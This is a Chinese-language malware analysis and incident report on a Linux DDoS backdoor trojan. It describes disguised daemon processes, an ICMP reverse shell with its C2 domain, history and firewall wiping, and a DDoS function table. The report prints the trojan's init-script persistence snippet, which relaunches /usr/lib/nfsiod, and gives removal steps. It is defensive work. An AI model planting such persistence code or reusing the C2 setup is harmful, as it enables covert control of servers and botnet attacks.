0x0 事件背景
某Linux服务器经常出现apache的conf文件被篡改后出现挂黑链的情况,并且偶尔出现大规模的DDOS外发现象恶意进程删除后会自动重启,无法彻底删除。
0x1 初步分析
通过线程检查发现,系统存在二个对外发起连接的进程
外联地址均为HK的IP地址,黑客朋友都懂得,毕竟方便且价格便宜。
根据对二个对外发起连接的恶意进程进行追溯,发现其中一个进程的父进程PID信息,通过检查发现伪装的电源进程kthreadd且三个相为守护进程。同时删除三个进程之后一段时间后依然会重新运行。
0x2 详细分析
对伪装threadd进程进行进一步分析,发现其中的存在可疑的模块。依稀还能看到有Linux流行病毒BackDoor.XnoteDDoS的类似之处。
通过对源码与内存中的信息进行分析,发现病毒程序启动时会释放相关文件到/var/tmp/目录下,运行完之后自动删除。
备份的病毒母体dump_tcp文件到/usr/sbin/目录之下,释放另外一个通信进程cupsd到/user/local目录下。
同时生成一个名为nfsiod的反弹shell,反编译之后如下:
连接的域名为: zzz.457467.com 威胁情报暂未收录此域名。
0x3 篡改文件
病毒通过遍历/etc/init.d/ 与 /etc/rc.d/init.d/中的文件,查找字符串"!#/bin/sh"开头的文件并在文件结尾添加自启动代码,保证了即使三个进程被同时删除后在一定的时间内也可以重新启动。
感染etc/init.d/functions,在最后添加代码运行在/usr/lib/目录下的nfsiod此hell为
PRISM-ICMP-Reverse-Shell类,详细介绍可百度一下。
PIDS=`ps -ef |grep '\[nfsiod\]' |grep -v grep | awk '{print $2}'`
if [ "$PIDS" != "" ]; then
kill -9 $PIDS
/usr/lib/nfsiod 1>/dev/null 2>/dev/null
else
/usr/lib/nfsiod 1>/dev/null 2>/dev/null
fi
发现大部分启动项文件都已经被篡改
0x4 病毒母体分析
样本通过Linux upx变形壳进行加密,无法使用upx工具直接脱壳,如下:
动态调试,手工脱壳,找到母体代码入口,如下:
然后dump出样本的母体文件,通过ida进行分析。
遍历etc/init.d与/etc/rc.d/init.d中的文件,然后查找相应的字符串”!#/bin/sh”开头的文件并在文件结尾添加自启动代码,如下:
通过发送GET请求给百度,测试网络状态,如下:
监控相关进程,进程守程,如下:
清除主机中的历史记录,防止安全人员能过日志进行跟踪,如下:
清空已有的iptables防火墙规则库,如下:
通过bin/sh执行iptables -F,如下:
根据不同的命令,执行不同的相关操作,如下:
功能类 |
功能介绍 |
5CTask |
执行相关的任务,安装自启动项等 |
7CConfig |
配置文件 |
8CManager |
管理进程 |
9CFileTask |
文件读写任务 |
10CShellTask |
执行/BIN/SH任务 |
11CDDoSCCTask |
执行CC DDOS攻击 |
11CPluginTask |
运行插件任务,自删除 |
12CDDosSynTask |
执行SYN DDOS攻击 |
12CPortMapTask |
执行端口映射扫描 |
12CDdosNtpTask |
执行NTP DDOS攻击 |
12CDDosUDPTask |
执行UDP DDOS攻击 |
13CClientSocket |
Sock连接操作 |
清除主机的iptables防火墙规则项,如下所示:
0x5 处理意见
1.同时结束三个伪装的电源进程kthreadd与伪装cupsd进程
2.结束发包进程Vmtoolsd、sh(若存在)
3.删除/usr/lib/nfsiod 反弹shell连接
4.删除/var/tmp/下的所有病毒释放体文件
5.Vi /etc/init.d/functions文件删除最下面的如下片断
PIDS=`ps -ef |grep '\[nfsiod\]' |grep -v grep | awk '{print $2}'`
if [ "$PIDS" != "" ]; then
kill -9 $PIDS
/usr/lib/nfsiod 1>/dev/null 2>/dev/null
else
/usr/lib/nfsiod 1>/dev/null 2>/dev/null
Fi
6.删除病毒母体文件目录为:usr/sbin/dump_tcp 、/etc/security/ntps.conf
7.清理被篡的启动项文件,包括/etc/init.d/与/etc/rc.d/下的所有文件,删除文件前几行中的如下字段:
/usr/sbin/dump_tcp 2 > /dev/null
/usr/security/ntps.conf 2 > /dev/null
0x6 溯源与建议
- 初步推断这是国内黑客生成的Linux后门集群木马(Dr. Web则认为,来自中国的ChinaZ黑客组织是幕后黑手),用于控制被感染主机,获取被感染主机资料信息,组建僵尸网络发动DDoS攻击。
- 建议用户要注意定期修改系统中各类重要密码,并建议使用比较复杂的口令作为密码,建立良好的安全习惯不打开可疑邮件和可疑网站,不要从不可靠的渠道下载软件。